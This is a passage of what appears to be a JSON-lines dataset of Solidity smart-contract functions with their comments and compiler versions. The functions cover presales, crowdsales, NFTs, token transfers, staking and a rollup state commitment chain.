@dev Update presale details\n */", "function_code": "function updateDetails(\n uint _startBlock,\n uint _endBlock,\n uint _endRefundBlock,\n uint _supply,\n uint _rate,\n uint _maxInvestment\n ) public onlyOwner {\n require(_endBlock > block.number, \"End block must be greater than the current one\");\n require(_endBlock > _startBlock, \"Start block should be less than the end block\");\n require(_endRefundBlock >= _endBlock, \"Refund block must be greater than the end block\");\n require(_rate > 0, \"Rate must be greater than 0\");\n require(_maxInvestment > 0, \"Noone can invest nothing\");\n \n startBlock = _startBlock;\n endBlock = _endBlock;\n endRefundBlock = _endRefundBlock;\n rate = _rate;\n maxInvestment = _maxInvestment;\n\n if (_supply > 0) {\n supply = _supply;\n }\n\n emit DetailsUpdated(_msgSender());\n }", "version": "0.6.12"} {"comment": "// the current Form owner may always wield the metadata", "function_code": "function setMetaDesc(uint256 tokenId, string memory metadataDescription) public {\r\n require(_msgSender() == super.ownerOf(tokenId), \"It is another's impression to make\");\r\n require(bytes(metadataDescription).length <= maxMetaDescLen, string(abi.encodePacked(\"Metadata description may only contain \", toString(maxMetaDescLen), \" bytes\")));\r\n form[tokenId - 1].metaDesc = metadataDescription;\r\n }", "version": "0.8.4"} {"comment": "// a subsequently immutable Form", "function_code": "function mintForm(string[17] memory line, string memory metadataDescription) public nonReentrant onlyOwner {\r\n require(bytes(line[0]).length <= maxLineLen && bytes(line[1]).length <= maxLineLen && bytes(line[2]).length <= maxLineLen && bytes(line[3]).length <= maxLineLen && \r\n bytes(line[4]).length <= maxLineLen && bytes(line[5]).length <= maxLineLen && bytes(line[6]).length <= maxLineLen && bytes(line[7]).length <= maxLineLen && \r\n bytes(line[8]).length <= maxLineLen && bytes(line[9]).length <= maxLineLen && bytes(line[10]).length <= maxLineLen && bytes(line[11]).length <= maxLineLen &&\r\n bytes(line[12]).length <= maxLineLen && bytes(line[13]).length <= maxLineLen && bytes(line[14]).length <= maxLineLen && bytes(line[15]).length <= maxLineLen && \r\n bytes(line[16]).length <= maxLineLen, string(abi.encodePacked(\"Each line may only contain \", toString(maxLineLen), \" bytes\")));\r\n require(bytes(metadataDescription).length <= maxMetaDescLen, string(abi.encodePacked(\"Metadata description may only contain \", toString(maxMetaDescLen), \" bytes\")));\r\n \r\n _safeMint(_msgSender(), getNumForm() + 1);\r\n addForm(Canvas(line, metadataDescription, true));\r\n }", "version": "0.8.4"} {"comment": "/** one may paint a blank Canvas\r\n * with immutable ink\r\n * for history and the evolution of the collective consciousness */", "function_code": "function paintCanvas(uint256 tokenId, string[17] memory line, string memory metadataDescription) public nonReentrant {\r\n require(bytes(line[0]).length <= maxLineLen && bytes(line[1]).length <= maxLineLen && bytes(line[2]).length <= maxLineLen && bytes(line[3]).length <= maxLineLen && \r\n bytes(line[4]).length <= maxLineLen && bytes(line[5]).length <= maxLineLen && bytes(line[6]).length <= maxLineLen && bytes(line[7]).length <= maxLineLen && \r\n bytes(line[8]).length <= maxLineLen && bytes(line[9]).length <= maxLineLen && bytes(line[10]).length <= maxLineLen && bytes(line[11]).length <= maxLineLen &&\r\n bytes(line[12]).length <= maxLineLen && bytes(line[13]).length <= maxLineLen && bytes(line[14]).length <= maxLineLen && bytes(line[15]).length <= maxLineLen && \r\n bytes(line[16]).length <= maxLineLen, string(abi.encodePacked(\"Each line may only contain \", toString(maxLineLen), \" bytes\")));\r\n require(bytes(metadataDescription).length <= maxMetaDescLen, string(abi.encodePacked(\"Metadata description may only contain \", toString(maxMetaDescLen), \" bytes\")));\r\n require(form[tokenId - 1].isPainted == false, \"Form is no longer canvas\");\r\n require(_msgSender() == super.ownerOf(tokenId), \"It is another's impression to make\");\r\n \r\n form[tokenId - 1].line = line;\r\n form[tokenId - 1].metaDesc = metadataDescription; \r\n form[tokenId - 1].isPainted = true;\r\n }", "version": "0.8.4"} {"comment": "// Function for buying shares", "function_code": "function buyShares(uint256 numberOfSharesToBuy) public whenNotPaused() returns (bool) {\r\n\r\n // Check that buying is enabled\r\n require(buyEnabled, \"Buying is currenty disabled\");\r\n require(numberOfSharesToBuy >= minVolume, \"Volume too low\");\r\n\r\n // Fetch the total price\r\n address buyer = msg.sender;\r\n uint256 sharesAvailable = getERC20Balance(ALEQContractAddress);\r\n uint256 totalPrice = getCumulatedPrice(numberOfSharesToBuy, sharesAvailable);\r\n\r\n // Check that there are enough shares\r\n require(sharesAvailable >= numberOfSharesToBuy, \"Not enough shares available\");\r\n\r\n //Check that XCHF balance is sufficient and allowance is set\r\n require(getERC20Available(XCHFContractAddress, buyer) >= totalPrice, \"Payment not authorized or funds insufficient\");\r\n\r\n // Compute usage fee and final payment amount\r\n uint256 usageFee = totalPrice.mul(usageFeeBSP).div(10000);\r\n uint256 paymentAmount = totalPrice.sub(usageFee);\r\n\r\n // Instantiate contracts\r\n ERC20 ALEQ = ERC20(ALEQContractAddress);\r\n ERC20 XCHF = ERC20(XCHFContractAddress);\r\n\r\n // Transfer usage fee and payment amount\r\n require(XCHF.transferFrom(buyer, usageFeeAddress, usageFee), \"Usage fee transfer failed\");\r\n require(XCHF.transferFrom(buyer, address(this), paymentAmount), \"XCHF payment failed\");\r\n\r\n // Transfer the shares\r\n require(ALEQ.transfer(buyer, numberOfSharesToBuy), \"Share transfer failed\");\r\n uint256 nextPrice = getCumulatedPrice(1, sharesAvailable.sub(numberOfSharesToBuy));\r\n emit SharesPurchased(buyer, numberOfSharesToBuy, totalPrice, nextPrice);\r\n return true;\r\n }", "version": "0.5.0"} {"comment": "// Price getters", "function_code": "function getCumulatedPrice(uint256 amount, uint256 supply) public view returns (uint256){\r\n uint256 cumulatedPrice = 0;\r\n if (supply <= initialNumberOfShares) {\r\n uint256 first = initialNumberOfShares.add(1).sub(supply);\r\n uint256 last = first.add(amount).sub(1);\r\n cumulatedPrice = helper(first, last);\r\n }\r\n\r\n else if (supply.sub(amount) >= initialNumberOfShares) {\r\n cumulatedPrice = minPriceInXCHF.mul(amount);\r\n }\r\n\r\n else {\r\n cumulatedPrice = supply.sub(initialNumberOfShares).mul(minPriceInXCHF);\r\n uint256 first = 1;\r\n uint256 last = amount.sub(supply.sub(initialNumberOfShares));\r\n cumulatedPrice = cumulatedPrice.add(helper(first,last));\r\n }\r\n \r\n return cumulatedPrice;\r\n }", "version": "0.5.0"} {"comment": "// Crowdsale {constructor}\n// @notice fired when contract is crated. Initilizes all constnat and initial values.", "function_code": "function Crowdsale(WhiteList _whiteListAddress) public {\r\n multisig = 0x49447Ea549CCfFDEF2E9a9290709d6114346df88; \r\n team = 0x49447Ea549CCfFDEF2E9a9290709d6114346df88; \r\n startBlock = 0; // Should wait for the call of the function start\r\n endBlock = 0; // Should wait for the call of the function start \r\n tokenPriceWei = 108110000000000;\r\n maxCap = 210000000e18; \r\n minCap = 21800000e18; \r\n totalTokensSent = 0; //TODO: add tokens sold in private sale\r\n setStep(Step.FundingPreSale);\r\n numOfBlocksInMinute = 416; \r\n whiteList = WhiteList(_whiteListAddress); \r\n teamTokens = 45000000e18;\r\n }", "version": "0.4.17"} {"comment": "// @notice set the step of the campaign \n// @param _step {Step}", "function_code": "function setStep(Step _step) public onlyOwner() {\r\n currentStep = _step;\r\n \r\n if (currentStep == Step.FundingPreSale) { // for presale \r\n \r\n minInvestETH = 1 ether/5; \r\n }else if (currentStep == Step.FundingPublicSale) { // for public sale \r\n minInvestETH = 1 ether/10; \r\n } \r\n }", "version": "0.4.17"} {"comment": "// @notice Due to changing average of block time\n// this function will allow on adjusting duration of campaign closer to the end ", "function_code": "function adjustDuration(uint _block) external onlyOwner() {\r\n\r\n require(_block < 389376); // 4.16*60*24*65 days = 389376 \r\n require(_block > block.number.sub(startBlock)); // ensure that endBlock is not set in the past\r\n endBlock = startBlock.add(_block); \r\n }", "version": "0.4.17"} {"comment": "// @notice determine if purchase is valid and return proper number of tokens\n// @return tokensToSend {uint} proper number of tokens based on the timline ", "function_code": "function determinePurchase() internal view returns (uint) {\r\n \r\n require(msg.value >= minInvestETH); // ensure that min contributions amount is met \r\n uint tokenAmount = msg.value.mul(1e18) / tokenPriceWei; // calculate amount of tokens\r\n\r\n uint tokensToSend; \r\n\r\n if (currentStep == Step.FundingPreSale)\r\n tokensToSend = calculateNoOfTokensToSend(tokenAmount); \r\n else\r\n tokensToSend = tokenAmount;\r\n \r\n return tokensToSend;\r\n }", "version": "0.4.17"} {"comment": "// @notice This function will return number of tokens based on time intervals in the campaign\n// @param _tokenAmount {uint} amount of tokens to allocate for the contribution", "function_code": "function calculateNoOfTokensToSend(uint _tokenAmount) internal view returns (uint) {\r\n \r\n if (block.number <= startBlock + (numOfBlocksInMinute * 60 * 24 * 14) / 100) // less equal then/equal 14 days\r\n return _tokenAmount + (_tokenAmount * 40) / 100; // 40% bonus\r\n else if (block.number <= startBlock + (numOfBlocksInMinute * 60 * 24 * 28) / 100) // less equal 28 days\r\n return _tokenAmount + (_tokenAmount * 30) / 100; // 30% bonus\r\n else\r\n return _tokenAmount + (_tokenAmount * 20) / 100; // remainder of the campaign 20% bonus\r\n \r\n }", "version": "0.4.17"} {"comment": "// @notice called to send tokens to contributors after ICO and lockup period. \n// @param _backer {address} address of beneficiary\n// @return true if successful", "function_code": "function claimTokensForUser(address _backer) internal returns(bool) { \r\n\r\n require(currentStep == Step.Claiming);\r\n \r\n Backer storage backer = backers[_backer];\r\n\r\n require(!backer.refunded); // if refunded, don't allow for another refund \r\n require(!backer.claimed); // if tokens claimed, don't allow refunding \r\n require(backer.tokensToSend != 0); // only continue if there are any tokens to send \r\n\r\n claimCount++;\r\n claimed[_backer] = backer.tokensToSend; // save claimed tokens\r\n backer.claimed = true;\r\n totalClaimed += backer.tokensToSend;\r\n \r\n if (!token.transfer(_backer, backer.tokensToSend)) \r\n revert(); // send claimed tokens to contributor account\r\n\r\n TokensClaimed(_backer, backer.tokensToSend); \r\n }", "version": "0.4.17"} {"comment": "// @notice it will allow contributors to get refund in case campaign failed", "function_code": "function refund() external stopInEmergency returns (bool) {\r\n\r\n require(currentStep == Step.Refunding); \r\n \r\n require(this.balance > 0); // contract will hold 0 ether at the end of campaign. \r\n // contract needs to be funded through fundContract() \r\n\r\n Backer storage backer = backers[msg.sender];\r\n\r\n require(backer.weiReceived > 0); // esnure that user has sent contribution\r\n require(!backer.refunded); // ensure that user hasn't been refunded yet\r\n require(!backer.claimed); // if tokens claimed, don't allow refunding \r\n \r\n backer.refunded = true; // save refund status to true\r\n \r\n refundCount++;\r\n totalRefunded = totalRefunded.add(backer.weiReceived);\r\n msg.sender.transfer(backer.weiReceived); // send back the contribution \r\n RefundETH(msg.sender, backer.weiReceived);\r\n return true;\r\n }", "version": "0.4.17"} {"comment": "/// Create a new Lotto", "function_code": "function LottoCount() public \r\n {\r\n worldOwner = msg.sender; \r\n \r\n ticketPrice = 0.0101 * 10**18;\r\n maxTickets = 10;\r\n \r\n\t\t_direction = 0;\r\n lottoIndex = 1;\r\n lastTicketTime = 0;\r\n \r\n numtickets = 0;\r\n totalBounty = 0;\r\n }", "version": "0.4.19"} {"comment": "// Deposits ore to be burned", "function_code": "function burnOre(uint256 _amount) external nonReentrant {\n require(_openForBurning, \"Not Open For Burning\");\n require(_amount > 0, \"Invalid Ore Amount\");\n require(ore.balanceOf(msg.sender) >= _amount, \"Insufficient Ore\");\n\n ore.burn(msg.sender, _amount);\n\n _burntOreByAddress[msg.sender][_currentLaunch] += _amount;\n _totalBurntOreByLaunch[_currentLaunch] += _amount;\n }", "version": "0.8.9"} {"comment": "// Calculates and returns the total amount of claimable funds for the specified account and period", "function_code": "function totalClaimableByAccount(\n address _account,\n uint256 _fromLaunch,\n uint256 _toLaunch\n ) public view returns (\n uint256,\n uint256[] memory\n ) {\n require(_fromLaunch > 0 && _toLaunch <= _currentLaunch && _fromLaunch <= _toLaunch, \"Invalid Launch Period\");\n\n // Calculate the total claimable amount along with the detail for each launch in the specified period range\n uint256 totalClaimable = 0;\n uint256 periodSize = _toLaunch - _fromLaunch + 1;\n uint256[] memory maxPerLaunch = new uint256[](periodSize);\n for (uint256 i = _fromLaunch; i <= _toLaunch ; i++) {\n uint256 maxAmount = 0;\n\n if (_totalBurntOreByLaunch[i] > 0 && _totalFundsByLaunch[i] > 0) {\n maxAmount = (_burntOreByAddress[_account][i] * _totalFundsByLaunch[i]) / _totalBurntOreByLaunch[i];\n uint256 claimable = maxAmount - _claimedByAddress[_account][i];\n\n if (claimable > 0) {\n totalClaimable += claimable;\n }\n }\n\n uint256 index = i - _fromLaunch;\n maxPerLaunch[index] = maxAmount;\n }\n\n return (totalClaimable, maxPerLaunch);\n }", "version": "0.8.9"} {"comment": "// Can be called by collectors for claiming funds from the ore burning mechanism", "function_code": "function claim(uint256 _fromLaunch, uint256 _toLaunch) external nonReentrant {\n uint256 totalClaimable;\n uint256[] memory maxPerLaunch;\n (totalClaimable, maxPerLaunch) = totalClaimableByAccount(msg.sender, _fromLaunch, _toLaunch);\n\n // Check the claimable amount and update the total claimed so far for the account\n require(totalClaimable > 0, \"Insufficient Claimable Funds\");\n for (uint256 i = _fromLaunch; i <= _toLaunch; i++) {\n uint256 index = i - _fromLaunch;\n if (_claimedByAddress[msg.sender][i] < maxPerLaunch[index]) {\n _claimedByAddress[msg.sender][i] = maxPerLaunch[index];\n }\n }\n\n payable(msg.sender).transfer(totalClaimable);\n }", "version": "0.8.9"} {"comment": "// Handles funds received for the pool", "function_code": "receive() external payable {\n // Make sure enough funds are sent, and the source is whitelisted\n require(msg.value > 0, \"Insufficient Funds\");\n require(fundAddresses[msg.sender], \"Invalid Fund Address\");\n\n // Update the total received funds for the currently open launch\n _totalFundsByLaunch[_currentLaunch] += msg.value;\n }", "version": "0.8.9"} {"comment": "/* function registerNameXID(string _nameString, uint256 _affCode, bool _all)\r\n isHuman()\r\n public\r\n payable\r\n {\r\n bytes32 _name = _nameString.nameFilter();\r\n address _addr = msg.sender;\r\n uint256 _paid = msg.value;\r\n (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);\r\n \r\n uint256 _pID = pIDxAddr_[_addr];\r\n \r\n // fire event\r\n emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);\r\n } */", "function_code": "function registerNameXaddr(string _nameString, address _affCode, bool _all)\r\n isHuman()\r\n public\r\n payable\r\n {\r\n bytes32 _name = _nameString.nameFilter();\r\n address _addr = msg.sender;\r\n uint256 _paid = msg.value;\r\n (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);\r\n\r\n uint256 _pID = pIDxAddr_[_addr];\r\n\r\n // fire event\r\n emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);\r\n }", "version": "0.4.24"} {"comment": "// An internal convenience function that checks to see if we are currently\n// in the Window defined by the WindowParameters struct passed as an\n// argument.", "function_code": "function _isInWindow(WindowParameters memory localParams) internal view returns (bool) {\r\n // We are never \"in a window\" if the contract is paused\r\n if (block.number < localParams.pauseEndedBlock) {\r\n return false;\r\n }\r\n\r\n // If we are before the first window of this type, we are obviously NOT\r\n // in this window!\r\n if (block.number < localParams.firstWindowStartBlock) {\r\n return false;\r\n }\r\n\r\n // Use modulus to figure out how far we are past the beginning of the\r\n // most recent window\r\n // of this type\r\n uint256 windowOffset = (block.number - localParams.firstWindowStartBlock) % localParams.sessionDuration;\r\n\r\n // If we are in the window, we will be within duration of the start of\r\n // the most recent window\r\n return windowOffset < localParams.windowDuration;\r\n }", "version": "0.5.12"} {"comment": "/// @notice A getter function for determining whether we are currently in a\n/// fightWindow for a given tournament\n/// @param _basicTournamentAddress The address of the tournament in\n/// question\n/// @return Whether or not we are in a fightWindow for this tournament", "function_code": "function _isInFightWindowForTournament(address _basicTournamentAddress) internal view returns (bool){\r\n uint256 tournamentStartBlock;\r\n uint256 pauseEndedBlock;\r\n uint256 admissionDuration;\r\n uint256 duelTimeoutDuration;\r\n uint256 ascensionWindowDuration;\r\n uint256 fightWindowDuration;\r\n uint256 cullingWindowDuration;\r\n (\r\n tournamentStartBlock,\r\n pauseEndedBlock,\r\n admissionDuration,\r\n ,\r\n duelTimeoutDuration,\r\n ,\r\n ascensionWindowDuration,\r\n ,\r\n fightWindowDuration,\r\n ,\r\n ,\r\n ,\r\n cullingWindowDuration\r\n ) = IBasicTournamentTimeParams(_basicTournamentAddress).getTimeParameters();\r\n uint256 firstSessionStartBlock = uint256(tournamentStartBlock) + uint256(admissionDuration);\r\n uint256 sessionDuration = uint256(ascensionWindowDuration) + uint256(fightWindowDuration) + uint256(duelTimeoutDuration) + uint256(cullingWindowDuration);\r\n\r\n return _isInWindow(WindowParameters({\r\n firstWindowStartBlock: uint48(uint256(firstSessionStartBlock) + uint256(ascensionWindowDuration)),\r\n pauseEndedBlock: uint48(pauseEndedBlock),\r\n sessionDuration: uint32(sessionDuration),\r\n windowDuration: uint32(fightWindowDuration)\r\n }));\r\n }", "version": "0.5.12"} {"comment": "/// @notice A seller/maker calls this function to update the pricePerPower\n/// of an order that they already have stored in this contract. This saves\n/// some gas for the seller by allowing them to just update the\n/// pricePerPower parameter of their order.\n/// @param _wizardId The tokenId for the seller's wizard. This is the\n/// wizard that will relinquish its power if an order is fulfilled.\n/// @param _newPricePerPower An order creator specifies how much wei they\n/// are willing to sell their wizard's power for. Note that this price is\n/// per-power, so the buyer will actually have to pay this price\n/// multiplied by the amount of power that the wizard has.\n/// @param _basicTournamentAddress The address of the tournament that this\n/// order pertains to. Note that each Wizard has an independent power\n/// value for each tournament, and call sell each one separately, so\n/// orders can exist simultaneously for the same wizard for different\n/// tournaments.", "function_code": "function updateSellOrder(uint256 _wizardId, uint256 _newPricePerPower, address _basicTournamentAddress) external whenNotPaused nonReentrant {\r\n require(WizardGuild(wizardGuildAddress).ownerOf(_wizardId) == msg.sender, 'only the owner of the wizard can update a sell order');\r\n require(WizardGuild(wizardGuildAddress).isApprovedOrOwner(address(this), _wizardId), 'you must call the approve() function on WizardGuild before you can update a sell order');\r\n require(_newPricePerPower <= uint256(~uint128(0)), 'you cannot specify a _newPricePerPower greater than uint128_max');\r\n\r\n // Fetch order\r\n Order storage order = orderForWizardIdAndTournamentAddress[_basicTournamentAddress][_wizardId];\r\n\r\n // Check that order is not from a previous owner\r\n require(msg.sender == order.makerAddress, 'you can only update a sell order that you created');\r\n\r\n // Emit event\r\n emit UpdateSellOrder(\r\n _wizardId,\r\n uint256(order.pricePerPower),\r\n _newPricePerPower,\r\n msg.sender,\r\n _basicTournamentAddress,\r\n uint256(order.savedSuccessfulTradeFeeInBasisPoints)\r\n );\r\n\r\n // Update price\r\n order.pricePerPower = uint128(_newPricePerPower);\r\n }", "version": "0.5.12"} {"comment": "/// @notice A seller/maker calls this function to cancel an existing order\n/// that they have posted to this contract.\n/// @dev Unlike the other Order functions, this function can be called even\n/// if the contract is paused, so that users can clear out their orderbook\n/// if they would like.\n/// @param _wizardId The tokenId for the seller's wizard. This is the\n/// wizard that will relinquish its power if an order is fulfilled.\n/// @param _basicTournamentAddress The address of the tournament that this\n/// order pertains to. Note that each Wizard has an independent power\n/// value for each tournament, and call sell each one separately, so\n/// orders can exist simultaneously for the same wizard for different\n/// tournaments.", "function_code": "function cancelSellOrder(uint256 _wizardId, address _basicTournamentAddress) external nonReentrant {\r\n require(WizardGuild(wizardGuildAddress).ownerOf(_wizardId) == msg.sender, 'only the owner of the wizard can cancel a sell order');\r\n\r\n // Wait until after emitting event to delete order so that event data\r\n // can be pulled from soon-to-be-deleted order\r\n Order memory order = orderForWizardIdAndTournamentAddress[_basicTournamentAddress][_wizardId];\r\n emit CancelSellOrder(\r\n uint256(order.wizardId),\r\n uint256(order.pricePerPower),\r\n msg.sender,\r\n _basicTournamentAddress,\r\n uint256(order.savedSuccessfulTradeFeeInBasisPoints)\r\n );\r\n\r\n // Delete order\r\n delete orderForWizardIdAndTournamentAddress[_basicTournamentAddress][_wizardId];\r\n }", "version": "0.5.12"} {"comment": "/// @notice A convenience function providing the caller with the current\n/// amount needed (in wei) to fulfill this order.\n/// @param _wizardId The id of the wizard NFT whose order we would like to\n/// see the details of.\n/// @param _basicTournamentAddress The address of the tournament that this\n/// order pertains to. Note that each Wizard has an independent power\n/// value for each tournament, and call sell each one separately.\n/// @return The amount needed (in wei) to fulfill this order", "function_code": "function getCurrentPriceForOrder(uint256 _wizardId, address _basicTournamentAddress) external view returns (uint256){\r\n Order memory order = orderForWizardIdAndTournamentAddress[_basicTournamentAddress][_wizardId];\r\n uint256 power;\r\n ( , power, , , , , , , ) = BasicTournament(_basicTournamentAddress).getWizard(_wizardId);\r\n uint256 price = (power.div(10**12)).mul(uint256(order.pricePerPower));\r\n return price;\r\n }", "version": "0.5.12"} {"comment": "/// @notice A convenience function checking whether the order is currently\n/// valid. Note that an order can become invalid for a period of time, but\n/// then become valid again (for example, during the time that a wizard\n/// is dueling).\n/// @param _wizardId The id of the wizard NFT whose order we would like to\n/// see the details of.\n/// @param _basicTournamentAddress The address of the tournament that this\n/// order pertains to. Note that each Wizard has an independent power\n/// value for each tournament, and call sell each one separately.\n/// @return Whether the order is currently valid or not.", "function_code": "function getIsOrderCurrentlyValid(uint256 _wizardId, address _basicTournamentAddress) external view returns (bool){\r\n Order memory order = orderForWizardIdAndTournamentAddress[_basicTournamentAddress][_wizardId];\r\n if(order.makerAddress == address(0)){\r\n // Order is not valid if order does not exist\r\n return false;\r\n } else {\r\n\r\n if(WizardGuild(wizardGuildAddress).ownerOf(_wizardId) != order.makerAddress){\r\n // Order is not valid if order's creator no longer owns wizard\r\n return false;\r\n }\r\n bool molded;\r\n bool ready;\r\n ( , , , , , , , molded, ready) = BasicTournament(_basicTournamentAddress).getWizard(_wizardId);\r\n if(molded == true || ready == false){\r\n // Order is not valid if makerWizard is molded or is dueling\r\n return false;\r\n } else {\r\n return true;\r\n }\r\n }\r\n }", "version": "0.5.12"} {"comment": "/// @notice Manual payout for site users\n/// @param _user Ethereum address of the user\n/// @param _amount The mount of CMA tokens in wei to send", "function_code": "function singlePayout(address _user, uint256 _amount)\r\n public\r\n onlyAdmin\r\n returns (bool paid)\r\n {\r\n require(!tokenTransfersFrozen);\r\n require(_amount > 0);\r\n require(transferCheck(owner, _user, _amount));\r\n if (!userRegistered[_user]) {\r\n registerUser(_user);\r\n }\r\n balances[_user] = balances[_user].add(_amount);\r\n balances[owner] = balances[owner].add(_amount);\r\n Transfer(owner, _user, _amount);\r\n return true;\r\n }", "version": "0.4.18"} {"comment": "/// @dev low-level minting function not accessible externally", "function_code": "function tokenMint(address _invoker, uint256 _amount) \r\n private\r\n returns (bool raised)\r\n {\r\n require(balances[owner].add(_amount) > balances[owner]);\r\n require(balances[owner].add(_amount) > 0);\r\n require(totalSupply.add(_amount) > 0);\r\n require(totalSupply.add(_amount) > totalSupply);\r\n totalSupply = totalSupply.add(_amount);\r\n balances[owner] = balances[owner].add(_amount);\r\n MintTokens(_invoker, _amount, true);\r\n return true;\r\n }", "version": "0.4.18"} {"comment": "/// @notice Used to burn tokens\n/// @param _amount The amount of CMA tokens in wei to burn", "function_code": "function tokenBurn(uint256 _amount)\r\n public\r\n onlyAdmin\r\n returns (bool burned)\r\n {\r\n require(_amount > 0);\r\n require(_amount < totalSupply);\r\n require(balances[owner] > _amount);\r\n require(balances[owner].sub(_amount) >= 0);\r\n require(totalSupply.sub(_amount) >= 0);\r\n balances[owner] = balances[owner].sub(_amount);\r\n totalSupply = totalSupply.sub(_amount);\r\n TokenBurn(msg.sender, _amount, true);\r\n return true;\r\n }", "version": "0.4.18"} {"comment": "/// @notice Used to transfer funds on behalf of one person\n/// @param _owner Person you are allowed to spend funds on behalf of\n/// @param _receiver Person to receive the funds\n/// @param _amount Amoun of CMA tokens in wei to send", "function_code": "function transferFrom(address _owner, address _receiver, uint256 _amount)\r\n public\r\n returns (bool _transferredFrom)\r\n {\r\n require(!tokenTransfersFrozen);\r\n require(allowance[_owner][msg.sender].sub(_amount) >= 0);\r\n require(transferCheck(_owner, _receiver, _amount));\r\n balances[_owner] = balances[_owner].sub(_amount);\r\n balances[_receiver] = balances[_receiver].add(_amount);\r\n allowance[_owner][msg.sender] = allowance[_owner][msg.sender].sub(_amount);\r\n Transfer(_owner, _receiver, _amount);\r\n return true;\r\n }", "version": "0.4.18"} {"comment": "/**\n * @inheritdoc iOVM_StateCommitmentChain\n */", "function_code": "function appendStateBatch(\n bytes32[] memory _batch,\n uint256 _shouldStartAtElement\n )\n override\n public\n {\n // Fail fast in to make sure our batch roots aren't accidentally made fraudulent by the\n // publication of batches by some other user.\n require(\n _shouldStartAtElement == getTotalElements(),\n \"Actual batch start index does not match expected start index.\"\n );\n\n // Proposers must have previously staked at the BondManager\n require(\n iOVM_BondManager(resolve(\"OVM_BondManager\")).isCollateralized(msg.sender),\n \"Proposer does not have enough collateral posted\"\n );\n\n require(\n _batch.length > 0,\n \"Cannot submit an empty state batch.\"\n );\n\n require(\n getTotalElements() + _batch.length <=\n iOVM_CanonicalTransactionChain(resolve(\"OVM_CanonicalTransactionChain\"))\n .getTotalElements(),\n \"Number of state roots cannot exceed the number of canonical transactions.\"\n );\n\n // Pass the block's timestamp and the publisher of the data\n // to be used in the fraud proofs\n _appendBatch(\n _batch,\n abi.encode(block.timestamp, msg.sender)\n );\n }", "version": "0.7.6"} {"comment": "/**\n * Parses the batch context from the extra data.\n * @return Total number of elements submitted.\n * @return Timestamp of the last batch submitted by the sequencer.\n */", "function_code": "function _getBatchExtraData()\n internal\n view\n returns (\n uint40,\n uint40\n )\n {\n bytes27 extraData = batches().getGlobalMetadata();\n\n // solhint-disable max-line-length\n uint40 totalElements;\n uint40 lastSequencerTimestamp;\n assembly {\n extraData := shr(40, extraData)\n totalElements := and(extraData, 0x000000000000000000000000000000000000000000000000000000FFFFFFFFFF)\n lastSequencerTimestamp := shr(40, and(extraData, 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF0000000000))\n }\n // solhint-enable max-line-length\n\n return (\n totalElements,\n lastSequencerTimestamp\n );\n }", "version": "0.7.6"} {"comment": "/**\n * Removes a batch and all subsequent batches from the chain.\n * @param _batchHeader Header of the batch to remove.\n */", "function_code": "function _deleteBatch(\n Lib_OVMCodec.ChainBatchHeader memory _batchHeader\n )\n internal\n {\n require(\n _batchHeader.batchIndex < batches().length(),\n \"Invalid batch index.\"\n );\n\n require(\n _isValidBatchHeader(_batchHeader),\n \"Invalid batch header.\"\n );\n\n batches().deleteElementsAfterInclusive(\n _batchHeader.batchIndex,\n _makeBatchExtraData(\n uint40(_batchHeader.prevTotalElements),\n 0\n )\n );\n\n emit StateBatchDeleted(\n _batchHeader.batchIndex,\n _batchHeader.batchRoot\n );\n }", "version": "0.7.6"} {"comment": "/**\r\n * Transfer functions\r\n */", "function_code": "function transfer(address _to, uint256 _value) public {\r\n require(_to != address(this));\r\n require(_to != address(0), \"Cannot use zero address\");\r\n require(_value > 0, \"Cannot use zero value\");\r\n\r\n require (balanceOf[msg.sender] >= _value, \"Balance not enough\"); // Check if the sender has enough\r\n require (balanceOf[_to] + _value >= balanceOf[_to], \"Overflow\" ); // Check for overflows\r\n \r\n uint previousBalances = balanceOf[msg.sender] + balanceOf[_to]; \r\n \r\n balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value); // Subtract from the sender\r\n balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value); // Add the same to the recipient\r\n \r\n emit Transfer(msg.sender, _to, _value); // Notify anyone listening that this transfer took place\r\n \r\n assert(balanceOf[msg.sender] + balanceOf[_to] == previousBalances);\r\n }", "version": "0.7.1"} {"comment": "/**\r\n * Requirements:\r\n * `rewardAmount` rewards to be added to the staking contract\r\n * @dev to add rewards to the staking contract\r\n * once the allowance is given to this contract for 'rewardAmount' by the user\r\n */", "function_code": "function addReward(uint256 rewardAmount, address tokenAddress)\r\n external\r\n _validTokenAddress(tokenAddress)\r\n _hasAllowance(msg.sender, rewardAmount, tokenAddress)\r\n returns (bool)\r\n {\r\n require(rewardAmount > 0, \"Reward must be positive\");\r\n address from = msg.sender;\r\n\r\n if (!_payMe(from, rewardAmount, tokenAddress)) {\r\n return false;\r\n }\r\n\r\n if (tokenAddress == tokenAddressA) {\r\n totalRewardA = totalRewardA.add(rewardAmount);\r\n rewardBalanceA = rewardBalanceA.add(rewardAmount);\r\n } else {\r\n totalRewardB = totalRewardB.add(rewardAmount);\r\n rewardBalanceB = rewardBalanceB.add(rewardAmount);\r\n }\r\n\r\n return true;\r\n }", "version": "0.5.16"} {"comment": "/**\r\n * Requirements:\r\n * `amount` Amount to be staked\r\n * `tokenAddress` Token address to stake\r\n /**\r\n * @dev to stake 'amount' value of tokens \r\n * once the user has given allowance to the staking contract\r\n */", "function_code": "function stake(uint256 amount, address tokenAddress)\r\n public\r\n _validTokenAddress(tokenAddress)\r\n _hasAllowance(msg.sender, amount, tokenAddress)\r\n returns (bool)\r\n {\r\n require(amount > 0, \"Can't stake 0 amount\");\r\n require(\r\n amount <= userCap[tokenAddress],\r\n \"Amount is greater than limit\"\r\n );\r\n uint256 poolRemaining;\r\n if (tokenAddress == tokenAddressA) {\r\n poolRemaining = poolCap[tokenAddress].sub(stakedTotalA);\r\n } else {\r\n poolRemaining = poolCap[tokenAddress].sub(stakedTotalB);\r\n }\r\n require(poolRemaining > 0, \"Pool limit reached\");\r\n if (amount > poolRemaining) {\r\n amount = poolRemaining;\r\n }\r\n address from = msg.sender;\r\n require(!hasStaked[from][tokenAddress], \"Already Staked\");\r\n return 